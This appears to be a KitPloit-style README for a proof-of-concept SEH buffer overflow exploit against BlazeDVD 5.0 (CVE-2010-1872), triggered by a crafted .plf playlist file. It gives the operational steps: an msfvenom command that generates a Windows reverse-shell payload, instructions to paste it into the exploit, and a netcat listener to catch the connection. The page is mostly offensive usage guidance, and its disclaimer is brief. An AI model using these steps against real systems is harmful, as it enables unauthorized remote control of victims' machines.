BlazeDVD 5.0 - '.PLF' Playlist SEH Buffer Overflow Exploit (CVE-2010-1872)

Proof-of-Concept (PoC) exploit targeting a buffer overflow vulnerability in BlazeDVD version 5.0 via a crafted .plf playlist file. The exploit uses SEH (Structured Exception Handler) overwrite to achieve code execution.

Details

• Software: BlazeDVD
• Version: 5.0
• Vulnerability: Buffer Overflow via .plf file
• Technique: Structured Exception Handler (SEH) Overwrite
• CVE: CVE-2010-1872
• Tested on: Windows XP SP3 (DEP and ASLR disabled)

Disclaimer

This code is for educational and research purposes only. Any misuse of this code may violate local or international laws. I do not take any responsibility for damage caused by improper use.

How It Works

The exploit generates a malicious .plf file which, when opened in BlazeDVD, triggers a buffer overflow and overwrites the SEH (Structured Exception Handler), redirecting execution to a reverse shell payload.

Usage

1. Generate the Shellcode with msfvenom
   Use msfvenom to create a reverse shell payload in raw format, avoiding bad characters.

   root@kitploit:~

   msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=8443 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
   

Replace the shellcode inside the exploit script with the output from msfvenom.

2. Start Netcat (Listener) In another terminal, start listening on the selected port 8443:

   root@kitploit:~

   nc -lvnp 8443
   

Catch the Reverse Shell If successful, a reverse shell will connect to your listener.